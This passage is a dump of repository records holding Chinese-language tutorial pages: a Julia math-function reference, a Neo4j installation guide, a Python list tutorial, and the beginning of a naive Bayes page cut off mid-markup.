align=\"left\">Integer</td>\n</tr>\n</tbody>\n</table>\n<h3>除法函数</h3>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>div(x,y)</code></td>\n<td align=\"left\">截断取整除法;商向 0 舍入</td>\n</tr>\n<tr>\n<td align=\"left\"><code>fld(x,y)</code></td>\n<td align=\"left\">向下取整除法;商向 -Inf 舍入</td>\n</tr>\n<tr>\n<td align=\"left\"><code>cld(x,y)</code></td>\n<td align=\"left\">向上取整除法; 商向 +Inf 舍入</td>\n</tr>\n<tr>\n<td align=\"left\"><code>rem(x,y)</code></td>\n<td align=\"left\">除法余数;满足 x == div(x,y)*y + rem(x,y) ,与 x 同号</td>\n</tr>\n<tr>\n<td align=\"left\"><code>divrem(x,y)</code></td>\n<td align=\"left\">返回 (div(x,y),rem(x,y))</td>\n</tr>\n<tr>\n<td align=\"left\"><code>mod(x,y)</code></td>\n<td align=\"left\">取模余数;满足 x == fld(x,y)*y + mod(x,y) ,与 y 同号</td>\n</tr>\n<tr>\n<td align=\"left\"><code>mod2pi(x)</code></td>\n<td align=\"left\">对 2pi 取模余数; 0 &lt;= mod2pi(x) &lt; 2pi</td>\n</tr>\n<tr>\n<td align=\"left\"><code>gcd(x,y...)</code></td>\n<td align=\"left\">x, y, ... 的最大公约数,与 x 同号</td>\n</tr>\n<tr>\n<td align=\"left\"><code>lcm(x,y...)</code></td>\n<td align=\"left\">x, y, ... 的最小公倍数,与 x 同号</td>\n</tr>\n</tbody>\n</table>\n<h3>符号函数和绝对值函数</h3>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>abs(x)</code></td>\n<td align=\"left\">x 的幅值</td>\n</tr>\n<tr>\n<td align=\"left\"><code>abs2(x)</code></td>\n<td align=\"left\">x 的幅值的平方</td>\n</tr>\n<tr>\n<td align=\"left\"><code>sign(x)</code></td>\n<td align=\"left\">x 的正负号,返回值为 -1, 0, 或 +1</td>\n</tr>\n<tr>\n<td align=\"left\"><code>signbit(x)</code></td>\n<td align=\"left\">是否有符号位,有 (true) 或者 无 (false)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>copysign(x,y)</code></td>\n<td align=\"left\">返回一个数,它具有 x 的幅值, y 的符号位</td>\n</tr>\n<tr>\n<td align=\"left\"><code>flipsign(x,y)</code></td>\n<td align=\"left\">返回一个数,它具有 x 的幅值, x*y 的符号位</td>\n</tr>\n</tbody>\n</table>\n<h3>乘方,对数和开方</h3>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>sqrt(x)</code></td>\n<td align=\"left\">√x x 的平方根</td>\n</tr>\n<tr>\n<td align=\"left\"><code>cbrt(x)</code></td>\n<td align=\"left\">?x x 的立方根</td>\n</tr>\n<tr>\n<td align=\"left\"><code>hypot(x,y)</code></td>\n<td align=\"left\">误差较小的 sqrt(x^2 + y^2)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>exp(x)</code></td>\n<td align=\"left\">自然指数 e 的 x 次幂</td>\n</tr>\n<tr>\n<td align=\"left\"><code>expm1(x)</code></td>\n<td align=\"left\">当 x 接近 0 时,精确计算 exp(x)-1</td>\n</tr>\n<tr>\n<td align=\"left\"><code>ldexp(x,n)</code></td>\n<td align=\"left\">当 n 为整数时,高效计算<code>x*2^n</code></td>\n</tr>\n<tr>\n<td align=\"left\"><code>log(x)</code></td>\n<td align=\"left\">x 的自然对数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>log(b,x)</code></td>\n<td align=\"left\">以 b 为底 x 的对数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>log2(x)</code></td>\n<td align=\"left\">以 2 为底 x 的对数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>log10(x)</code></td>\n<td align=\"left\">以 10 为底 x 的对数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>log1p(x)</code></td>\n<td align=\"left\">当 x 接近 0 时,精确计算 log(1+x)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>exponent(x)</code></td>\n<td align=\"left\">trunc(log2(x))</td>\n</tr>\n<tr>\n<td align=\"left\"><code>significand(x)</code></td>\n<td align=\"left\">returns the binary significand (a.k.a. mantissa) of a floating-point number x</td>\n</tr>\n</tbody>\n</table>\n<p>为什么要有 <code>hypot</code>, <code>expm1</code>, <code>log1p</code> 等函数,参见 John D. Cook 的博客: <a href=\"http://www.johndcook.com/blog/2010/06/07/math-library-functions-that-seem-unnecessary/\">expm1</a>, <a href=\"http://www.johndcook.com/blog/2010/06/07/math-library-functions-that-seem-unnecessary/\">log1p</a>, <a href=\"http://www.johndcook.com/blog/2010/06/07/math-library-functions-that-seem-unnecessary/\">erfc</a> 和 <a href=\"http://www.johndcook.com/blog/2010/06/02/whats-so-hard-about-finding-a-hypotenuse/\">hypot</a> 。</p>\n<h3>三角函数和双曲函数</h3>\n<p>Julia 内置了所有的标准三角函数和双曲函数</p>\n<p><code>sin cos tan cot sec csc sinh cosh tanh coth sech csch asin acos atan acot asec acsc asinh acosh atanh acoth asech acsch sinc cosc atan2</code></p>\n<p>除了 <a href=\"http://zh.wikipedia.org/zh-cn/Atan2\">atan2</a> 之外,都是单参数函数。 <code>atan2</code> 给出了 <code>x</code> 轴,与由 <code>x</code> 、 <code>y</code> 确定的点之间的<a href=\"http://zh.wikipedia.org/zh-cn/弧度\">弧度</a> 。</p>\n<p>另外,<code>sinpi(x)</code>和 <code>cospi(x)</code>各自被提供给更准确的 <code>sin(pi*x)</code>和 <code>cos(pi*x)</code>的计算。</p>\n<p>如果想要以度,而非弧度,为单位计算三角函数,应使用带 d 后缀的函数。例如,sind(x) 计算 x 的正弦值,这里 x 的单位是度。以下的列表是全部的以度为单位的三角函数:</p>\n<p><code>sind cosd tand cotd secd cscd asind acosd atand acotd asecd acscd</code></p>\n<h3>特殊函数</h3>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>erf(x)</code></td>\n<td align=\"left\">x 处的 误差函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>erfc(x)</code></td>\n<td align=\"left\">补误差函数。当 x 较大时,精确计算 1-erf(x)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>erfinv(x)</code></td>\n<td align=\"left\">erf 的反函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>erfcinv(x)</code></td>\n<td align=\"left\">erfc 的反函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>erfi(x)</code></td>\n<td align=\"left\">将误差函数定义为 -im <em>erf(x</em> im) ,其中 im 是虚数单位</td>\n</tr>\n<tr>\n<td align=\"left\"><code>erfcx(x)</code></td>\n<td align=\"left\">缩放的互补误差函数,即对较大的 x 值的准确的 exp(x ^ 2)* erfc(x)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>dawson(x)</code></td>\n<td align=\"left\">缩放虚误差函数,又名道森函数,即对较大的 x 值求精确的 exp(-x^2) <em>erfi(x)</em> sqrt(pi) / 2</td>\n</tr>\n<tr>\n<td align=\"left\"><code>gamma(x)</code></td>\n<td align=\"left\">x 处的 gamma 函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>lgamma(x)</code></td>\n<td align=\"left\">当 x 较大时,精确计算 log(gamma(x))</td>\n</tr>\n<tr>\n<td align=\"left\"><code>lfact(x)</code></td>\n<td align=\"left\">对较大的 x 求精确的 log(factorial(x)); 与对大于 1 的 x 值求 lgamma(x+1) 相等, 否则等于 0</td>\n</tr>\n<tr>\n<td align=\"left\"><code>digamma(x)</code></td>\n<td align=\"left\">x 处的 digamma 函数,即导数的衍生</td>\n</tr>\n<tr>\n<td align=\"left\"><code>beta(x,y)</code></td>\n<td align=\"left\">在(x,y)处的 beta 函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>lbeta(x,y)</code></td>\n<td align=\"left\">对较大的 x 或 y 值求准确的 log(beta(x,y))</td>\n</tr>\n<tr>\n<td align=\"left\"><code>eta(x)</code></td>\n<td align=\"left\">x 处的 Dirichlet eta 函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>zeta(x)</code></td>\n<td align=\"left\">x 处的 Riemann zeta 函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>airy(z)</code>, <code>airyai(z)</code>, <code>airy(0,z)</code></td>\n<td align=\"left\">z 处的 Airy Ai 函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>airyprime(z)</code>, <code>airyaiprime(z)</code>, <code>airy(1,z)</code></td>\n<td align=\"left\">Airy Ai 函数在 z 处的导数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>airybi(z)</code>, <code>airy(2,z)</code></td>\n<td align=\"left\">z 处的 Airy Bi 函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>airybiprime(z)</code>, <code>airy(3,z)</code></td>\n<td align=\"left\">Airy Bi 函数在 z 处的导数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>airyx(z)</code>, <code>airyx(k,z)</code></td>\n<td align=\"left\">缩放 Airy Ai 函数 以及 k 对 z 的导数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselj(nu,z)</code></td>\n<td align=\"left\">对 z 中一阶 nu 的贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselj0(z)</code></td>\n<td align=\"left\">besselj(0,z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselj1(z)</code></td>\n<td align=\"left\">besselj(1,z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besseljx(nu,z)</code></td>\n<td align=\"left\">对 z 中一阶 nu 的缩放贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>bessely(nu,z)</code></td>\n<td align=\"left\">对 z 中二阶 nu 的贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>bessely0(z)</code></td>\n<td align=\"left\">bessely(0,z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>bessely1(z)</code></td>\n<td align=\"left\">bessely(1,z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselyx(nu,z)</code></td>\n<td align=\"left\">对 z 中二阶 nu 的缩放贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselh(nu,k,z)</code></td>\n<td align=\"left\">对 z 中三阶 nu (例如汉克尔函数)的贝塞尔函数; k 必须为 1 或 2</td>\n</tr>\n<tr>\n<td align=\"left\"><code>hankelh1(nu,z)</code></td>\n<td align=\"left\">besselh(nu, 1, z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>hankelh1x(nu,z)</code></td>\n<td align=\"left\">缩放 besselh(nu, 1, z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>hankelh2(nu,z)</code></td>\n<td align=\"left\">besselh(nu, 2, z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>hankelh2x(nu,z)</code></td>\n<td align=\"left\">缩放 besselh(nu, 2, z)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besseli(nu,z)</code></td>\n<td align=\"left\">对 z 中一阶 nu 的修正贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselix(nu,z)</code></td>\n<td align=\"left\">对 z 中一阶 nu 的缩放修正贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselk(nu,z)</code></td>\n<td align=\"left\">对 z 中二阶 nu 的修正贝塞尔函数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>besselkx(nu,z)</code></td>\n<td align=\"left\">对二阶 o 的缩放修正贝塞尔函数</td>\n</tr>\n</tbody>\n</table>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=julia></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 15, "blob_id": "62fa4f5cd6a037cca44596ca48fd0f918f57427f", "content_id": "34c4145176efa5bec0e956118a1f25ed4b9b3850", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "no_license", "max_line_length": 15, "num_lines": 1, "path": "/hbase/ops.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "## HBase 数据模型操作" }, { "alpha_fraction": 0.6895619034767151, "alphanum_fraction": 0.7333694100379944, "avg_line_length": 23.328947067260742, "blob_id": "dcce5a9d2e353955f5656bd9ab9ffa16c1380b9e", "content_id": "d8a3b4f4b45c689fbc0528d0d301339d0b34fcc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2739, "license_type": "no_license", "max_line_length": 193, "num_lines": 76, "path": "/neo4j/setup.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Neo4j 环境安装配置\n\n## 本课程在线环境的安装\n\n**安装JDK 11**\n\n```bash\n#复制JDK相关文件\ncp /share/tar/jdk-11.0.6_linux-x64_bin.tar.gz /usr/local/\n#对文件进行解压缩,-C 指定解压后,将文件放到/usr/local目录下\ntar -xzvf /usr/local/jdk-11.0.6_linux-x64_bin.tar.gz -C /usr/local/\nmv /usr/local/jdk-11.0.6 /usr/local/java\n\n#配置相关环境变量\necho 'export JAVA_HOME=/usr/local/java' >> ~/.bashrc\necho 'export PATH=$JAVA_HOME/bin:$PATH' >> ~/.bashrc\nsource ~/.bashrc #生效环境变量\n#验证java安装,测试环境变量是否配置正确。如果出现正确的版本信息提示,则安装成功\njava -version\n```\n\n**安装Neo4j**\n\n```bash\ncp /share/tar/neo4j-community-4.0.3-unix.tar.gz /usr/local\n#对文件进行解压缩,-C 指定解压后,将文件放到/usr/local目录下\ntar -xzvf /usr/local/neo4j-community-4.0.3-unix.tar.gz -C /usr/local/\nmv /usr/local/neo4j-community-4.0.3 /usr/local/neo4j\n\n#下面来修改环境变量:系统环境变量或用户环境变量。\necho 'export PATH=/usr/local/neo4j/bin:$PATH' >> ~/.bashrc\nsource ~/.bashrc #生效环境变量\n#验证neo4j安装,测试环境变量是否配置正确。如果出现正确的版本信息提示,则安装成功\nneo4j version\n```\n\n### 源在线安装\n\n```bash\n#更新源及安装\nwget -O - https://debian.neo4j.com/neotechnology.gpg.key | apt-key add -\necho 'deb https://debian.neo4j.com stable 4.0' | tee /etc/apt/sources.list.d/neo4j.list\napt-get update && apt install neo4j\n```\n```bash\n#修改Neo4j服务的配置文件,将该行改为dbms.connector.http.listen_address的参数修改为80端口\nvim /etc/neo4j/neo4j.conf \n```\n\n```\ndbms.connector.http.listen_address=:80\n```\n\n```bash\n#启动服务并查看状态\nneo4j restart && neo4j status\n```\n\n**Neo4j数据浏览器**\n\n配置好后,我们可以使用以下URL[浏览器](Dyanmicpod.com),或点击加号在当前页面打开Neo4j数据浏览器\n\n![Neo4j浏览器](./images/data_browser.jpg)\n\n<iframe src=\"//player.bilibili.com/player.html?aid=73161752&bvid=BV1LE411y7GW&cid=125137919&page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"> </iframe>\nNeo4j数据浏览器用于执行CQL命令并查看输出。\n\n在这里,我们需要在美元提示符下执行所有CQL命令:**“ $”**\n\n在美元符号后键入命令,然后单击“执行”按钮以运行命令。\n\n它与Neo4j数据库服务器进行交互,检索并在美元提示下方显示结果。\n\n使用“ VI查看”按钮以图表格式查看结果。上图以“ UI视图”格式显示了结果。\n\n使用“网格视图”按钮在网格视图中查看结果。下图以“网格视图”格式显示了相同的结果。\n" }, { "alpha_fraction": 0.5430203676223755, "alphanum_fraction": 0.5703562498092651, "avg_line_length": 29.889272689819336, "blob_id": "87a7e0c9181e998b53738681f8c2ea5d8664149e", "content_id": "a2a6c1c4b995d33dbf26df8f6c84ae745233e90b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 10378, "license_type": "no_license", "max_line_length": 198, "num_lines": 289, "path": "/python/list.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Python3 数据类型-列表(list) - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> Python 简介 </a></li>\n<li><a href=\"./setup.html\"> Pyhon3 环境搭建及运行 </a></li>\n<li><a href=\"./syntax.html\"> Python 基础语法 </a></li>\n<li><a href=\"./operator.html\"> Python3 运算符 </a></li>\n<li><a href=\"./datatype.html\"> Python3 基本数据类型 </a></li>\n<li><a href=\"./string.html\"> Python3 基本数据类型-字符串 </a></li>\n<li><a href=\"./number.html\"> Python3 基本数据类型-数字 </a></li>\n<li><a href=\"./list.html\"> Python3 基本数据类型-列表 </a></li>\n<li><a href=\"./tuple.html\"> Python3 基本数据类型-元组 </a></li>\n<li><a href=\"./dict.html\"> Python3 基本数据类型-字典 </a></li>\n<li><a href=\"./set.html\"> Python3 基本数据类型-集合 </a></li>\n<li><a href=\"./datastructure.html\"> Python3 数据结构 </a></li>\n<li><a href=\"./logic.html\"> Python3 逻辑判断 </a></li>\n<li><a href=\"./loop.html\"> Python3 循环语句 </a></li>\n<li><a href=\"./iterator-generator.html\"> Python3 迭代器与生成器 </a></li>\n<li><a href=\"./function.html\"> Python3 函数 </a></li>\n<li><a href=\"./errors-execptions.html\"> Python3 错误和异常 </a></li>\n<li><a href=\"./class.html\"> Python3 面向对象 </a></li>\n<li><a href=\"./namespace-scope.html\"> Python3 命名空间和作用域 </a></li>\n<li><a href=\"./package.html\"> Python3 模块 </a></li>\n<li><a href=\"./stdlib.html\"> Python3 标准库 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Python3 数据类型-列表(list)</h1>\n<p>列表是最常用的Python数据类型,它可以作为一个方括号内的逗号分隔值出现。<strong>序列</strong>也是Python中最基本的数据结构。<strong>序列</strong>中的每个元素都分配一个数字 - 它的位置,或索引,第一个索引是0,第二个索引是1,依此类推。</p>\n<p>Python有6个序列的内置类型,但最常见的是列表和元组。序列都可以进行的操作包括索引,切片,加,乘,检查成员。列表的数据项不需要具有相同的类型</p>\n<p>Python已经内置确定序列的长度以及确定最大和最小的元素的方法。</p>\n<h2>创建列表</h2>\n<p>创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可。</p>\n<h4>练习:创建列表</h4>\n<pre><code class=\"Python\">list1 = ['Google', 'Python', 1997, 2000]; list2 = [1, 2, 3, 4, 5 ]; list3 = [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;];\nprint(list1)\nprint(list2)\nprint(list3)\n</code></pre>\n\n<p>与字符串的索引一样,列表索引从0开始。列表可以进行截取、组合等。</p>\n<h2>访问列表对象</h2>\n<p>使用下标索引来访问列表中的值,同样你也可以使用方括号的形式截取字符。</p>\n<h4>练习:下标索引访问与切片访问列表对象</h4>\n<pre><code class=\"Python\">list1 = ['Google', 'Python', 1997, 2000];\nlist2 = [1, 2, 3, 4, 5, 6, 7 ];\n\nprint(&quot;list1[0]: &quot;, list1[0])\nprint(&quot;list2[1:5]: &quot;, list2[1:5])\n</code></pre>\n\n<h2>更新列表</h2>\n<p>对列表的数据项进行修改或更新,可以使用<code>append()</code>方法来添加列表项。</p>\n<h4>练习:更新列表</h4>\n<pre><code class=\"Python\">list = ['Google', 'Python', 1997, 2000]\n\nprint(&quot;第三个元素为 : &quot;, list[2])\nlist[2] = 2001\nprint(&quot;更新后的第三个元素为 : &quot;, list[2])\n</code></pre>\n\n<h2>删除列表元素</h2>\n<p>可以使用<code>del</code>语句来删除列表的的元素。</p>\n<h4>练习:删除列表元素</h4>\n<pre><code class=\"Python\">list = ['Google', 'Python', 1997, 2000]\n\nprint(&quot;原始列表 : &quot;, list)\ndel list[2]\nprint(&quot;删除第三个元素 : &quot;, list)\n</code></pre>\n\n<h2>Python列表脚本操作符</h2>\n<p>列表对<code>+</code> 和<code>*</code> 的操作符与字符串相似。<code>+</code>号用于组合列表,<code>*</code> 号用于重复列表。</p>\n<p>如下所示:</p>\n<table>\n<thead>\n<tr>\n<th align=\"center\">Python 表达式</th>\n<th align=\"left\">结果</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\"><code>len([1, 2, 3])</code></td>\n<td align=\"left\">3</td>\n<td align=\"left\">长度</td>\n</tr>\n<tr>\n<td align=\"center\"><code>[1, 2, 3] + [4, 5, 6]</code></td>\n<td align=\"left\">[1, 2, 3, 4, 5, 6]</td>\n<td align=\"left\">组合</td>\n</tr>\n<tr>\n<td align=\"center\"><code>['Hi!'] * 4</code></td>\n<td align=\"left\">['Hi!', 'Hi!', 'Hi!', 'Hi!']</td>\n<td align=\"left\">重复</td>\n</tr>\n<tr>\n<td align=\"center\"><code>3 in [1, 2, 3]</code></td>\n<td align=\"left\">True</td>\n<td align=\"left\">元素是否存在于列表中</td>\n</tr>\n<tr>\n<td align=\"center\"><code>for x in [1, 2, 3]: print(x, end=\" \")</code></td>\n<td align=\"left\">1 2 3</td>\n<td align=\"left\">迭代</td>\n</tr>\n</tbody>\n</table>\n<h2>Python列表截取与拼接</h2>\n<h4>练习:Python的列表截取与字符串操作类型</h4>\n<pre><code class=\"Python\">L=['Google', 'Python', 'Taobao']\nprint(L[2])\nprint(L[-2])\nprint(L[1:])\n</code></pre>\n\n<table>\n<thead>\n<tr>\n<th align=\"center\">Python 表达式</th>\n<th align=\"left\">结果</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\">L[2]</td>\n<td align=\"left\">'Taobao'</td>\n<td align=\"left\">读取第三个元素</td>\n</tr>\n<tr>\n<td align=\"center\">L[-2]</td>\n<td align=\"left\">'Python'</td>\n<td align=\"left\">从右侧开始读取倒数第二个元素: count from the right</td>\n</tr>\n<tr>\n<td align=\"center\">L[1:]</td>\n<td align=\"left\">['Python', 'Taobao']</td>\n<td align=\"left\">输出从第二个元素开始后的所有元素</td>\n</tr>\n<tr>\n<td align=\"center\">#### 练习:列表拼接</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n</tr>\n</tbody>\n</table>\n<pre><code class=\"Python\">squares = [1, 4, 9, 16, 25]\nsquares += [36, 49, 64, 81, 100]\nsquares\n</code></pre>\n\n<h2>嵌套列表</h2>\n<p>使用嵌套列表即在列表里创建其它列表,</p>\n<h4>练习:嵌套列表</h4>\n<pre><code class=\"Python\">a = ['a', 'b', 'c']\nn = [1, 2, 3]\nx = [a, n]\nprint(x)\nprint(x[0])\nprint(x[0][1])\n</code></pre>\n\n<h2>Python列表函数&amp;方法</h2>\n<pre><code class=\"Python\">a = ['a', 'b', 'c']\ndir(a)\n</code></pre>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5978385210037231, "alphanum_fraction": 0.6172425150871277, "avg_line_length": 36.46932601928711, "blob_id": "11d6e6a6f23223878730f7cc3b1815fd34f7aa73", "content_id": "0ee7f4dfb4148bb02bb20259203228e33f3e9da4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 17104, "license_type": "no_license", "max_line_length": 315, "num_lines": 326, "path": "/ml/nb.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>朴素贝叶斯 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 